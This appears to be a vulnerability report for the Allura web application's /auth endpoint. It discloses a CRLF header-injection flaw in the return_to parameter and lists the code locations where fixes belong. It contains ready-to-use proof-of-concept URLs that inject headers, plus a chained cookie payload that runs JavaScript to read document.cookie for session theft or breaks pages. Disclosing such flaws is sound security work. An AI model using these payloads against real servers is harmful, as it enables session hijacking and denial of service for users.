From a security reporter:
Summary:
To trigger the vulnerability, an attacker would send a malicious
"/auth" URL to the victim.
The victim would access said URL, and login successfully.
The server would then respond with any HTTP headers the attacker
supplied in the malicious URL.
Please note that the URL points to the real Allura server, and
contains control characters (%0d%0a) in the return_to URL parameter.
PoC URLs:
http://<allura-web-server>/auth/?return_to=/%0d%0aSet-Cookie:%20%3Bmy-cookie-field%3Dfoobar%3B
http://<allura-web-server>/auth/?return_to=/%0d%0aContent-Length:%20777
The first URL will set the attacker-supplied cookie
(my-cookie-field=foobar) to the victim's session.
The second URL will make the server respond with a content length of
777, which will force the victim's browser to abort the rendering of
the page, since 777 will not match with the real content length.
return_to
is used in many places, any of which could sanitize it. Seems like authenticate_request
and LoginRedirectMiddleware
and do_login
and do_multifactor
have the redirect()
calls that are the critical spots though. _verify_return_to
usage could be expanded.
More info:
Here's a concrete example of leveraging the header splitting issue to get XSS in every page where Allura uses the WebFlash component (eg. every page accessible from the "Account" menu link):
http://<allura-web-server>/auth/?return_to=/auth/user_info/contacts/%0d%0aSet-Cookie:%20webflash%3D%257B%2522status%2522%253A%2522a%2527%257D)%253C%252Fscript%253E%253Cscript%253Ealert(document.cookie)%252F%252F%2522%252C%2522message%2522%253A%2522from-header-injection-to-xss%2522%257D</allura-web-server>
This can be used to exfiltrate the victim's _session_id cookie, for example.
This malicious URL sets the "webflash" cookie with the following payload URL-encoded twofold:
{"status":"a'})</script><script>alert(document.cookie)//","message":"from-header-injection-to-xss"}
This payload is still a valid JSON object, which will be successfully loaded by
WebFlash-0.1a9/webflash/__init__.py:pop_payload()
. When the contents of "status" are rendered as part of the HTML page, "a" will be its computed value, while the rest of the payload will be interpreted as HTML/JavaScript.The affected pages can also be rendered useless, forcing Allura to return 500 errors in case pop_payload() cannot parse the contents of the webflash cookie as valid JSON. For example, this can be triggered if the malicious URL is missing the closing "}" (%257D).